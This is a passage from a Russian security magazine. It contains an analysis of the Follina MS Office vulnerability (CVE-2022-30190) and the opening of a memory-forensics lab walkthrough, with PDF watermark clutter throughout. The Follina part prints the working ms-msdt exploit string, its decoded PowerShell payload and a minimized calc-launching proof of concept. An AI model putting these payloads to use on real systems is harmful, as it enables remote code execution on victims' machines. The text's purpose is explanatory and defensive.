Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
Скачиваний:
12
Добавлен:
20.04.2024
Размер:
14.52 Mб
Скачать

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

wClick

 

BUY

o m

ВЗЛОМ

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

c

 

 

 

 

.c

 

 

.

 

 

 

 

 

 

 

 

 

 

 

 

 

e

 

 

p

df

-x

 

 

g

 

 

 

 

 

 

n

 

 

 

 

 

 

 

ha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

c

 

 

 

.c

 

 

 

 

 

 

e

 

 

 

p

df

 

 

 

g

 

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

-x ha

 

 

 

 

 

ИЗУЧАЕМ НАШУМЕВШУЮ УЯЗВИМОСТЬ

В MICROSOFT OFFICE

«Фоллина­ фоллина­ , фоллина­ фоллина­ , фой на на!» — весело распева­ ют­ хакеры, восполь­ зовав­ шиеся­ уязвимостью­ нулевого­ дня для Microsoft Ofce под названи­ ем­ Follina. Причины­ для радости­ очевид­ ны­ : баг содержится­ во всех актуаль­ ных­ версиях­ Ofce, начиная с 2013, и открывает­ широчайшие­ возможнос­ ти­ напакостить­ юзеру­ . Официаль­ ного­ патча­ сейчас­ поп ­ росту не существу­ ет­ . О том, как работает­ «фолличес­ кая­ » уязвимость­ , как она была обнаруже­ на­ и как защититься­ от ее эксплу­ ­ атации­ , мы сегодня­ и поговорим­ .

Валентин Холмогоров

Ведущий редактор "Хакера". valentin@holmogorov.ru

Follina по своему­ уникаль­ на­ . Она не требует­ активации­ макросов­ , при этом позволя­ ет­ выполнять­ произволь­ ный­ код с привиле­ гиями­ вызывающе­ го­ при ­ ложения­ . Теоретичес­ ки­ запущенный­ вредонос­ может изрядно порезвить­ ся­ в скомпро­ мети­ рован­ ной­ системе­ : устанав­ ливать­ программы­ , просматри­ вать­ , изменять­ или удалять­ данные­ , а еще — создавать­ новые учетные­ записи. Причем­ корпорацию­ Microsoft оператив­ но­ предуп­ редили­ , что обнаруже­ на­ зияющая дыра в безопасности­ Ofce, но компания­ не предпри­ няла­ по этому­ поводу никаких мер, посчитав­ угрозу­ несерьезной­ . Как выяснилось­ , очень напрасно­ .

Проблема­ скрывает­ ся­ в Microsoft Diagnostic Tool (MSDT) — утилите­ ,

которая собирает­ информацию­ для отправки­ в службу­ техничес­ ­кой поддер­ ­ жки Microsoft и формиру­ ­ет отчеты­ об ошибках­ . Любопытно­ , что экспло­ ­ит мож ­ но использовать­ даже без открытия­ документа­ Microsoft Word, для этого­ дос ­ таточно­ лишь навести­ курсор­ мыши на загружен­ ­ный файл в провод­ ­нике: вре ­ доносный­ скрипт сработа­ ­ет в превью документа­ . Однако­ обо всем по поряд ­ ку.

Первым­ файл с экспло­ итом­ обнаружил­ на VirusTotal исследова­ тель­ , скры ­ вающийся­ под псевдонимом­ nao_sec: документ был загружен­ на VT в апре ­ ле 2022 года с белорусско­ го­ IP-адреса­ . Следом­ за изучение­ опасного­ файла­ взялся­ IT-эксперт Кевин Бомонт и опубликовал­ в своем­ блоге­ подробное­ описание­ уязвимос­ ти­ . Он же дал ей название­ : расшифро­ ван­ ный­ им образец­ кода в файле­ включал­ ссылку­ на RAR-архив с именем­ 05-2022-0438.rar, а 0438 — это телефонный­ код итальянско­ го­ городка­ Follina. Если открыть документ с экспло­ итом­ , этот RAR-архив скачива­ ется­ на атакуемый­ компьютер­

и сохраня­ ­ется во времен­ ­ную папку­ .

Та самая ссылка­ , давшая­ название­ уязвимос­ ти­

О том, как работает­ эта уязвимость­ , получившая­ в итоге­ обозначение­ CVE- 2022-30190, подробно­ расска­ ­зыва­ли в исследова­ ­нии эксперты­ из Huntress. При распаков­ ­ке файла­ с экспло­ ­итом они получили­ все компонен­ ­ты, составля­ ­

ющие документ Microsoft Ofce.

Компонен­ ­ты, составля­ ­ющие вредонос­ ­ный документ. Иллюстра­ ­ция с сай­

та huntress.com

Среди­ этих составля­

ющих­

в папке­ word/_rels/ расположен­

стандар­ тный­

XML-файл document.xml.rels, в котором содержится­

список­

связей­

для основного­ XML-файла­ word/document.xml. В document.xml сосредото­

­

чено полезное­

содержимое­

документа­ Word, и, если он не имеет­ связей­

с внешними­

объекта­ ми­ или ресурсами­

, файл document.xml.rels обычно­

пуст. В нашем случае­

там содержался­

 

код,

включающий­

ссылку­ на некую

внешнюю­

веб страницу­

,

расположен­

ную­

по адресу­

hxxps[:]//www.

xmlformats.com/office/word/2022/wordprocessingDrawing/RDF842l. html.

Код в файле­ document.xml.rels

Сейчас­ сайт, где лежал файл, уже недоступен­ , но некоторое­ время­ назад исследова­ ­телям все же удалось­ скачать­ с него ту самую веб страницу­ . Этот HTML-документ содержал­ тег <script> и большое­ количество­ закомменти­ ­ рованных­ символов­ А.

Содер­ жимое­ файла­ RDF842l.html

Изначаль­ но­ исследова­ тели­ не могли­ понять, для чего нужны­ эти закомменти­ ­ рованные­ строки­ , но без них экспло­ ит­ не работал. Парни­ из Huntress испро ­ бовали­ множес­ тво­ вариантов­ : разные­ символы­ , размещение­ закомменти­ ­ рованного­ блока­ выше или ниже полезной­ нагрузки­ , пока не обнаружи­ лось­ , что функция­ обработ­ ки­ HTML-модуля MSDT имеет­ жестко­ закодирован­ ный­ размер­ буфера и для срабаты­ вания­ экспло­ ита­ объем­ вредонос­ ного­ файла­ должен­ превышать­ 4096 байт.

Внижней­ части­ HTML-кода содержался­ зашифрован­ ­ный скрипт, в котором

иреализован­ основной код экспло­ ­ита:

window.location.href = "ms-msdt:/id PCWDiagnostic /skip force /param

"IT_RebrowseForFile=cal?c IT_LaunchMethod=ContextMenu IT_

SelectProgram=NotListed IT_BrowseForFile=h$(Invoke-Expression($(

Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.

GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[

char]

34+'JGNtZCA9ICJjOlx3aW5kb3dzXHN5c3RlbTMyXGNtZC5leGUiO1N0YXJ0LVByb2Nlc

3MgJGNtZCAtd2luZG93c3R5bGUgaGlkZGVuIC1Bcmd1bWVudExpc3QgIi9jIHRhc2traW

xsIC9mIC9pbSBtc2R0LmV4ZSI7U3RhcnQtUHJvY2VzcyAkY21kIC13aW5kb3dzdHlsZSB

oaWRkZW4gLUFyZ3VtZW50TGlzdCAiL2MgY2QgQzpcdXNlcnNccHVibGljXCYmZm9yIC9y

ICV0ZW1wJSAlaSBpbiAoMDUtMjAyMi0wNDM4LnJhcikgZG8gY29weSAlaSAxLnJhciAve

SYmZmluZHN0ciBUVk5EUmdBQUFBIDEucmFyPjEudCYmY2VydHV0aWwgLWRlY29kZSAxLn

QgMS5jICYmZXhwYW5kIDEuYyAtRjoqIC4mJnJnYi5leGUiOw=='+[

char]34+'))'))))i/../../../../../../../../../../../../../../Windows/

System32/mpsigstub.exe IT_AutoTroubleshoot=ts_AUTO"";!0

Действу­ ет­ он следующим­ образом­ . С использовани­ ем­ стандар­ тно­ го­ механизма­ Microsoft Diagnostic Tool вызывается­ встроенная­ в Windows утилита­ поиска­ неполадок­ PCWDiagnostic с параметром­ просмотра­ файла­ IT_BrowseForFile, в качестве­ которого­ ей подсовыва­ ется­ скрипт PowerShell, спрятан­ ный­ в параметре­ $(). После­ расшифров­ ки­ из Base64 этот скрипт имеет­ такой вид:

$cmd = "c:\windows\system32\cmd.exe";

Start-Process $cmd -windowstyle hidden -ArgumentList "/c taskkill /

f /im msdt.exe";

Start-Process $cmd -windowstyle hidden -ArgumentList "/c cd C:\users\

public\&&for /r %temp% %i in (05-2022-0438.rar) do copy %i 1.rar /y&&

findstr TVNDRgAAAA 1.rar>1.t&&certutil -decode 1.t 1.c &&expand 1.c

-F:* .&&rgb.exe";

Если­ записанный­ в переменную­ $cmd путь к командно­ му­ интерпре­ тато­ ру­ cmd. exe верен, скрипт запускает­ ся­ в командной­ строке­ и открывает­ невидимые­ окна, в которых выполняют­ ­ся следующие­ действия­ :

убивает­ ­ся процесс­ msdt.exe, если он запущен;

в ранее скачан­ ­ном архиве­ 05-2022-0438.rar ищется­ строка­ Base64,

вкоторой хранит­ ­ся зашифрован­ ­ный CAB-файл;

этот файл извлекает­ ­ся и сохраня­ ­ется под именем­ 1.t;

сохранен­ ­ный файл расшифро­ ­выва­ется и сохраня­ ­ется в текущий каталог под именем­ 1.c;

вызыва­ ­ется на исполнение­ приложе­ ­ние rgb.exe, которое предположи­ ­ тельно­ хранилось­ внутри­ CAB-файла­ 1.c. Назначение­ этого­ приложе­ ­ния

вданный­ момент неизвес­ ­тно, посколь­ ­ку сайт, с которого­ грузил­ ­ся исходный архив, больше­ не доступен­ .

Чтобы­ лучше­ понять, как работает­ экспло­ ит­ , исследова­ тели­ заменили­ вызов несуществу­ юще­ го­ приложе­ ния­ демонстра­ цией­ окошка­ с системным­ уведом­ ­ лением­ — вот как сработав­ ший­ экспло­ ит­ выглядел­ в их виртуал­ ке­ .

Наглядная­ демонстра­ ция­ работы Follina

Последу­ ющие­ эксперимен­ ты­ показали­ , что некоторые­ синтакси­ чес­ кие­ выражения­ в коде Follina совсем­ необязатель­ ны­ для выполнения­ полезной­ нагрузки­ , и исследова­ телям­ из Huntress удалось­ значитель­ но­ оптимизи­ ровать­ код экспло­ ита­ , сократив­ его до следующей­ лаконичной­ конструк­ ции­ :

location.href = "ms-msdt:/id PCWDiagnostic /skip force /param "

IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_BrowseForFile=

/../../$(calc)/.exe"";

Наибо­ лее­ важными­ для успешного­ выполнения­ кода оказались­ следующие­ моменты­ :

в начале параметра­ IT_BrowseForFile требует­ ­ся как минимум два обхода­ каталога­ /.../;

код, обернутый­ в $(), выполнялся­ через PowerShell, но пробелы­ нарушают­

его работу;

• расширение­ .exe должно­ быть последним­ завершающим­ значени­ ­ем в конце­ параметра­ IT_BrowseForFile.

Таким­ образом­ , Follina позволя­ ет­ запустить­ в системе­ произволь­ ный­ исполняемый­ файл, притом­ для этого­ необязатель­ но­ отключать­ в Word защиту от выполнения­ макросов­ , посколь­ ку­ уязвимость­ эксплу­ ати­ рует­ совер ­ шенно другой­ механизм. Баг присутс­ тву­ ет­ в версиях­ Ofce 2013, 2016, Ofce Pro Plus апрельской­ версии­ (Windows 11 с майски­ ми­ обновлениями­ ) и версии­ Ofce 2021 со всеми­ патчами­ . Вот пример­ содержащего­ экспло­ ит­ документа­ , который рассылали­ в почтовом­ спаме­ .

Пример­ вредонос­ ного­ документа­ , содержащего­ экспло­ ит­

Правда­ , при срабаты­ ­вании экспло­ ­ита в Microsoft Ofce активизи­ ­рует­ся защита Protected View, демонстри­ ­рующая содержимое­ потенциаль­ ­но опас ­ ного документа­ в режиме «только­ для чтения­ », но ее можно­ обойти­ , сохранив­ файл с экспло­ ­итом в формате­ RTF. Более того: в этом случае­ его даже не нуж ­ но открывать­ в Word — этот экспло­ ­ит будет вызван­ уже в момент появления­ превью документа­ в панели предваритель­ ­ного просмотра­ провод­ ­ника

Windows.

Follina срабаты­ вает­ при просмотре­ превью вредонос­ ного­ документа­ в провод­ нике­

Есть и еще один очень важный­ момент: полезная­ нагрузка­ может обращать­ ся­ к удален­ ным­ узлам, принад­ лежащим­ злоумыш­ ленни­ кам­ . При таком соеди ­ нении на удален­ ный­ узел будет передавать­ ся­ хеш NTLM, а это означает­ , что киберпрес­ тупни­ ки­ получат хеш пароля Windows жертвы­ , который может быть использован­ для дальнейшей­ постэкс­ плу­ ата­ ции­ .

При соединении­ передается­ хеш NTLM

Эта техника­ атаки­ запускает­ код под учетной­ записью пользовате­ ля­ , который открыл вредонос­ ный­ документ или просмотрел­ его в провод­ нике­ . Иными­ сло ­ вами, злоумыш­ ленник­ начнет­ атаку­ как пользователь­ с низкими­ привиле­ гиями­ (без прав админис­ тра­ тора­ ), но затем может использовать­ этот доступ­ для дальнейших­ атак, чтобы­ повысить привиле­ гии­ и получить расширен­ ный­ доступ­ к целевой среде­ .

Подыто­ живая­ , можно­ сказать­ , что на твоем­ компе­ сработа­ ла­ Follina, если наблюда­ ются­ следующие­ тревож­ ные­ признаки­ :

процесс­ Microsoft Word создает­ дочерний­ процесс­ msdt.exe;

запущен­ процесс­ sdiagnhost.exe с дочерним­ процес­ ­сом conhost. exe.

Харак­ терные­ признаки­ срабаты­ вания­ полезной­ нагрузки­ Follina

Любопыт­ но­ , что корпорация­ Microsoft была своевре­ мен­ но­ проинформи­ рова­ ­ на об этой уязвимос­ ти­ , но посчитала­ , что она «не имеет­ отношения­ к безопасности­ », — соответс­ тву­ ющую­ переписку­ опубликовал­ участник­ Shadow Chaser Group (ассоциация­ студен­ тов­ колледжей­ , занимающаяся­ поиском­ и анализом­ APT) crazyman.

Скрин переписки­ пользовате­ ля­ crazyman и Microsoft

Без патча­ единствен­ ­ным разумным­ способом­ противос­ ­тоять Follina было уда ­ ление ассоциации­ для файлов­ MS-MSDT в реестре­ Windows, за которую отве ­ чает ветвь HKCR:\ms-msdt. Это можно­ сделать­ с помощью команды­ reg delete HKEY_CLASSES_ROOT\ms-msdt /f или с использовани­ ­ем скрипта­ на PowerShell от Кельвина­ Тегелара­ . В таком случае­ сработав­ ­ший экспло­ ­ит не сможет­ вызвать­ MS-MSDT, что предот­ ­вра­тит запуск вредонос­ ­ной прог ­ раммы.

Microsoft пока не выпустила­ патч для исправления­ уязвимос­ ­ти в MSDT, за что подверга­ ­ется справед­ ­ливой критике­ . В любом случае­ , как известно­ , на многих­ компьюте­ ­рах обновления­ отключены­ , а об установ­ ­ке их вручную­ часто­ речи и вовсе­ не заходит. Поэтому­ , думается­ , пользовате­ ­ли еще долго­ будут удивленно­ вскрикивать­ «опа, шинанай!», когда­ Follina в очеред­ ­ной раз внезап­ ­но запустит­ в их системе­ что нибудь вредонос­ ­ное.

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

w Click

 

BUY

 

m

ВЗЛОМ

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

 

o

 

 

 

.

 

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

 

 

df

-x

 

n

e

 

 

 

 

 

 

ha

 

 

 

 

 

РАССЛЕДУЕМ

КИБЕРИНЦИДЕНТ

MRROBOT

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x ha

 

 

 

 

rayhunt454 grigadan454@gmail.com

В этой статье мы проведем­

рассле­ дова­

ние­

инциден­ та­

на примере­

лаборатор­ ной­

работы MrRobot с ресурса­

CyberDefenders. Мы научимся­ извлекать­

 

 

основные артефак­ ­

 

ты из образов­

оператив­

ной­

памяти Windows и восста­ новим­

процесс­

атаки­ .

 

 

 

 

 

 

 

Сценарий­ в задании такой: сотрудник­ компании­ сообщил­ , что ему пришло­ электрон­ ­ное письмо­ с обновлением­ безопасности­ , он запустил­ вложение­ и после­ этого­ компьютер­ начал вести­ себя странно­ . Группа­ реагирова­ ­ния

на инциден­ ­ты получила­ дампы­ оператив­ ­ной памяти с подозритель­ ­ных машин. Наша задача — исследовать­ их, найти­ то самое письмо­ , выявить загружен­ ­ные вредонос­ ­ные программы­ и методы бокового­ перемещения­ по сети.

По результатам­ решения кейса­ необходимо­ ответить­ на ряд вопросов­ , но я покажу сам процесс­ решения и не буду озвучивать­ ответы­ . Ты можешь повторить­ все самостоятель­ но­ , чтобы­ лучше­ разобрать­ ся­ и закрепить­ материал­ .

Итак, загрузим­ файл архива­ с артефак­ ­тами и приступим­ к их исследова­ ­ нию.

ИСПОЛЬЗУЕМЫЕ УТИЛИТЫ

1.Volatility Framework 2.6.1 — инстру­ ­мент, реализован­ ­ный на Python вер ­

сии 2 и предназна­ ­чен­ный для извлечения­ артефак­ ­тов из образцов энер ­ гозависимой­ памяти.

2.Bulk extractor — инстру­ ­мент для извлечения­ структуриро­ ­ван­ной информа ­ ции, к примеру­ адресов­ электрон­ ­ной почты­ , URL, доменов.

3.YARA Editor — программа­ для тестирова­ ­ния и создания­ правил­ YARA.

ИСПОЛЬЗУЕМЫЕ ПЛАГИНЫ VOLATILITY2 ДЛЯ ИЗВЛЕЧЕНИЯ ДАННЫХ

1.Imageinfo — плагин­ для определе­ ­ния операци­ ­онной системы­ , пакета обновлений­ и аппарат­ ­ной архитек­ ­туры исследуемо­ ­го образа­ .

2.Pstree — позволя­ ­ет просматри­ ­вать список­ процес­ ­сов в виде дерева.

3.Handles — показывает­ открытые­ дескрип­ ­торы к файлам­ , разделам­ реес ­ тра, мьютексам­ , именован­ ­ным каналам, спрятан­ ­ным в процес­ ­сах. Также­ позволя­ ­ет отобразить­ дескрип­ ­торы для конкрет­ ­ного процес­ ­са и конкрет­ ­ ного типа объекта­ .

4.Consoles — плагин­ для поиска­ команд, которые злоумыш­ ­ленни­ки ввели­ в окне cmd.exe. Основное его преиму­ ­щес­тво — плагин­ не только­ показы ­

вает введен­ ные­ злоумыш­ ленни­ ками­ команды­ , но и собирает­ весь экранный буфер (ввод и вывод).

5.Memdump — извлекает­ все резидентные­ страницы­ памяти в процес­ се­ .

6.Filescan — плагин­ для поиска­ объектов­ FILE_OBJECT в памяти

с помощью сканиро­ ­вания тегов пула. Найдет­ все открытые­ файлы­ .

7.Dumpfiles — извлекает­ кеширован­ ­ные файлы­ из образа­ памяти.

8.Netscan — ищет сетевые артефак­ ­ты в 32- и 64-разрядных­ дампах­ памяти. Плагин­ находит конечные­ точки­ TCP, UDP, локальные­ и удален­ ­ные IP-адре ­ са.

9.Printkey — ищет значения­ в указан­ ­ном разделе­ реестра­ Windows.

10.Userassist — позволя­ ­ет получить информацию­ из ключа­ реестра­

UserAssist.

11.Mftparser — сканиру­ ­ет записи главной­ таблицы­ файлов­ (MFT) в памяти и выводит информацию­ о времен­ ­ных метках­ файлов­ .

12.Autoruns — подклю­ ­чаемый плагин­ , который ищет точки­ сохранения­ исполняемых­ файлов­ в системе­ . Для его подклю­ ­чения необходимо­ добавить плагин­ в каталог plugins инстру­ ­мен­та Volatility.

13.Malfind — плагин­ для поиска­ скрытого­ или внедренно­ ­го в память процес­ ­ сов кода.

Распаковы­ ­ваем архив с заданием­ и получаем­ три файла­ , которые содержат­ образы­ памяти скомпро­ ­мети­рован­ных хостов­ : Target1, Target2 и POS. Файлы­ имеют­ расширение­ .vmss, то есть представ­ ­ляют собой моменталь­ ­ные сним ­ ки виртуаль­ ­ной машины VMware. Если Volatility не может извлечь артефак­ ­ты из этих файлов­ , можно­ восполь­ ­зовать­ся плагином­ raw2dmp, который пре ­ образует­ дамп памяти приоста­ ­нов­ленной виртуаль­ ­ной машины VMware в формат­ , пригод­ ­ный для анализа­ . Также­ можно­ восполь­ ­зовать­ся инстру­ ­мен ­

том vmss2core.

Иссле­ дова­ ние­ образов­ оператив­ ной­ памяти можно­ разделить­ на два эта ­ па: восста­ нов­ ление­ действий­ пользовате­ ля­ и поиск признаков­ вредонос­ ной­ активности­ . На первом­ этапе­ необходимо­ проана­ лизи­ ровать­ запущенные­ процес­ сы­ , открытые­ документы­ , восста­ новить­ историю­ браузе­ ра­ . Эта информация­ поможет определить­ время­ компро­ мета­ ции­ системы­ , а также­ выяснить­ , какие действия­ пользовате­ ля­ привели­ к инциден­ ту­ . А проана­ лизи­ ­ ровав активность злоумыш­ ленни­ ка­ , нужно­ найти­ использован­ ные­ вредонос­ ­ ные модули, способ­ их закрепле­ ния­ в системе­ , а также­ обнаружить­ методы бокового­ перемещения­ по сети организа­ ции­ .

ИССЛЕДОВАНИЕ ХОСТА TARGET1

Получим­ первичную­ информацию­ об исследуемой­ машине, выясним­ профиль­ операци­ ­онной системы­ , сетевой адрес и имя хоста­ .

python2 vol.py -f c69-Grrcon2015/target1/Target1-1dd8701f.vmss

--profile=Win7SP1x86_23418 imageinfo`

Информа­ ция­ о профиле­ операци­ онной­ системы­

В ключе­ реестра­ SYSTEM\ControlSet001\Control\ComputerName\ ComputerName содержится­ информация­ об имени­ компьюте­ ­ра.

python2 vol.py -f c69-Grrcon2015/target1/Target1-1dd8701f.vmss

--profile=Win7SP1x86_23418 printkey -K "ControlSet001\Control\C

omputerName\ComputerName"

Имя компьюте­ ра­

Имя компьюте­ ­ра — FRONT-DESK-PC.

Получим­ сетевой адрес хоста­ : в ключе­ реестра­ SYSTEM\ControlSet001\ Services\Tcpip\Parameters\Interfaces содержатся­ идентифика­ ­торы сетевых адаптеров­ , в одном из которых хранит­ ­ся информация­ о сети.

python2 vol.py -f c69-Grrcon2015/target1/Target1-1dd8701f.vmss

--profile=Win7SP1x86_23418 printkey -K "ControlSet001\Services\Tcpip\

Parameters\Interfaces\{9C3710A4-77FE-48CB-911B-742A81DE38BA}"

IP-адрес хоста­

Профиль­ скомпро­ ­мети­рован­ной машины — Win7SP1x86_23418, IP-адрес —

10.1.1.20, имя хоста­ — FRONT-DESK-PC.

Начнем­ восста­ нав­ ливать­ действия­ пользовате­ ля­ в системе­ . Первым­ делом получим информацию­ о запущенных­ процес­ сах­ и сохраним­ ее в файл для удобства­ анализа­ .

python2 vol.py -f c69-Grrcon2015/target1/Target1-1dd8701f.vmss

--profile=Win7SP1x86_23418 pstree > pstree.txt0

Дерево­ запущенных­ процес­ сов­

Мы видим запущенный­ процесс­ OUTLOOK.EXE с идентифика­ тором­ 3196. В его адресном пространс­ тве­ содержится­ информация­ об электрон­ ных­ сообщени­ ­ ях и открытых­ файлах­ . Получим переписку­ авторизо­ ван­ ного­ в Outlook поль ­ зователя­ . Для этого­ выгрузим­ все файлы­ данного­ процес­ са­ и проана­ лизи­ ­ руем их: в дескрип­ торе­ открытого­ процес­ са­ с идентифика­ тором­ 3196 найдем­ все объекты­ FILE.

python2 vol.py -f c69-Grrcon2015/target1/Target1-1dd8701f.vmss

--profile=Win7SP1x86_23418 handles -p 3196 -t FILE > handles_3196.

txt0

Откры­ тые­ файлы­ процес­ са­ OUTLOOK.exe

Мы обнаружи­ ли­ файл с расширени­ ем­ .ost, который содержит­ кеширован­ ные­ (сохранен­ ные­ в памяти системы­ ) сообщения­ электрон­ ного­ почтового­ ящика­ пользовате­ ля­ . Попробу­ ем­ восста­ новить­ этот файл, используя­ плагин­ dumpfiles, но сначала­ нам необходимо­ узнать физический­ адрес данного­ файла­ в памяти. Запустим­ плагин­ filescan, найдем­ интересу­ ющий­ нас файл и получим его физический­ адрес.

python2 vol.py -f c69-Grrcon2015/target1/Target1-1dd8701f.vmss

--profile=Win7SP1x86_23418 handles -p 3196 -t FILE > filescan.txt0

Физичес­ кий­ адрес файла­ outlook2.ost

Адрес­ файла­ outlook2.ost 0x000000003ecec2b0. Теперь можно­ восста­ ­

новить сам файл. В параметре­ -Q плагина­ dumpfles указыва­ ем­ адрес файла­ , который нужно­ выгрузить­ .

python2 vol.py -f c69-Grrcon2015/target1/Target1-1dd8701f.vmss

--profile=Win7SP1x86_23418 dumpfiles -Q 0x000000003ecec2b0 -D

dumpfiles/0

Я попробовал­ восста­ ­новить все файлы­ контей­ ­нера outlook, но они оказались­ пустыми­ . Восполь­ ­зуем­ся другим­ методом выгрузки­ сообщений­ . Для этого­ получим дамп адресного­ пространс­ ­тва процес­ ­са OUTLOOK.EXE с помощью плагина­ memdump.

python2 vol.py -f c69-Grrcon2015/target1/Target1-1dd8701f.vmss

--profile=Win7SP1x86_23418 memdump -p 3196 -D ./0

Мы получили­ дамп адресного­ пространс­ тва­ , попробу­ ем­ в нем найти­ сооб ­ щения. Откроем­ полученный­ файл в шестнад­ цатерич­ ном­ редакторе­ и найдем­ строку­ From, а также­ Content-Type.

Обнаружен­ ный­ заголовок­ письма­

 

Содер­ жимое­

электрон­

ного­

письма­

 

 

 

 

 

 

 

Проана­ ­лизи­руем его заголовок­ :

нас интересу­

ют­

поля Subject, From

и Received.

 

 

 

 

 

 

Как анализи­ ровать­ заголовки­ электрон­ ных­ писем, расска­ зыва­ ется­ в одной из наших статей­ .

Письмо­ пришло­ от пользовате­ ля­ th3wh1t3r0s3@gmail.com и имело­ тему Обновите ваш VPN клиент. Поле Received характеризу­ ет­ адрес отправите­ ­ ля, а также­ показывает­ , через какие узлы сообщение­ прошло­ .

Находим­ первое­ поле Received и узнаем­ , что сообщение­ отправлено­ с IPадреса­ 10.114.2.82. Как видно­ из содержимого­ , там присутс­ тву­ ет­ ссылка­ http://180.76[.]254[.]120/AnyConnectInstaller.exe для загрузки­ фай ­

ла AnyConnectInstaller.exe.

Выгрузим­ этот файл из образа­ памяти.

Физичес­ кий­ адрес файла­ AnyConnectInstaller.exe

python2 vol.py -f c69-Grrcon2015/target1/Target1-1dd8701f.vmss

--profile=Win7SP1x86_23418 dumpfiles -Q 0x000000003df1cf00 -D c69-

Grrcon2015/target1/dumpfiles0

Мы получили­ файл file.None.0x85d1c6c0.img. Возьмем­ MD5-сумму­ и про ­ верим на VirusTotal, чтобы­ выяснить­ первичную­ информацию­ о файле­ .

Затем­ проверим­ полученный­ модуль с помощью YARA-правил­ .

Детект­ выгружен­ ного­ вредоно­ са­

Получен­ ­ный вредонос­ ­ный модуль относит­ ­ся к семейству­ XtremeRAT. Анализи­ ­руем дальше­ . Теперь нам нужно­ получить список­ исполняемых­

файлов­ , запущенных­ пользовате­ ­лем. Для этого­ необходимо­ проана­ ­лизи ­ ровать информацию­ из ключа­ userassist ветки­ реестра­ NTUSER.DAT. Для этого­ восполь­ ­зуем­ся плагином­ userassist.

python2 vol.py -f c69-Grrcon2015/target1/Target1-1dd8701f.vmss

--profile=Win7SP1x86_23418 userassist > c69-Grrcon2015/target1/

userassist0

Информа­ ­ция из userassist

Как видно­ из рисунка­ , в 11:31:27 09.10.2015 UTC пользователь­ запустил­ загружен­ ный­ в почтовый­ клиент­ файл AnyConnectInstaller.exe. После­ запуска­ вредоно­ са­ злоумыш­ ленник­ получил доступ­ к компьюте­ ру­ .

Найдем­ методы закрепле­ ния­ на скомпро­ мети­ рован­ ной­ машине. Для этого­ восполь­ зуем­ ся­ плагином­ autoruns.

python2 vol.py -f c69-Grrcon2015/target1/Target1-1dd8701f.vmss

--profile=Win7SP1x86_23418 autoruns > c69-Grrcon2015/target1/autoruns

Автозапуск­ исполняемо­ го­ файла­ AnyConnectInstaller.exe

Чтобы­ закрепить­ ся­ и обеспечить­ работу после­ перезагрузки­ компьюте­ ра­ , запускают­ исполняемый­ файл AnyConnectInstaller.exe, для этого­ в ключе­

реестра­ SOFTWARE\Microsoft\Windows\CurrentVersion\Run было добав ­

лено значение­ MrRobot. Проведем­ небольшой­ анализ­ файла­ , для чего заг ­ рузим его в IDA Pro.

Участок­ кода вредоно­ ­са

Вредонос­ ный­ файл использует­ знакомые­ нам функции­ WinAPI

CreateProcessA, GetThreadContext, WriteProcessMemory. Применя­ ется­ техника­ ProcessHollowing для загрузки­ кода в созданный­ процесс­ . Поведен ­ ческий анализ­ из информации­ на VirusTotal показывает­ , что вредонос­ создает­ процесс­ с названи­ ем­ IEXPLORE.EXE.

Информа­ ция­ о созданном­ процес­ се­

Найдем­ этот процесс­ в дереве процес­ сов­ .

Информа­ ция­ о процес­ се­ iexplore

Вредонос­ ­ный файл создал­ процесс­ iexplore.exe с идентифика­ ­тором 2996, далее методом ProcessHollowing загрузил­ исполняемый­ код в этот про ­ цесс. Для анализа­ дальнейших­ действий­ злоумыш­ ­ленни­ка выгрузим­ дамп процес­ ­са с идентифика­ ­тором 2996.

Найдем­ уникаль­ ­ное значение­ вредоно­ ­са в системе­ (Mutex). В Windows есть объект­ ядра Mutant, который позволя­ ­ет программам­ синхро­ ­низи­ровать ­ ся между­ собой. Вредонос­ ­ные файлы­ часто­ используют­ именован­ ­ный мьютекс для того, чтобы­ предот­ ­вра­тить повторный­ запуск в системе­ .

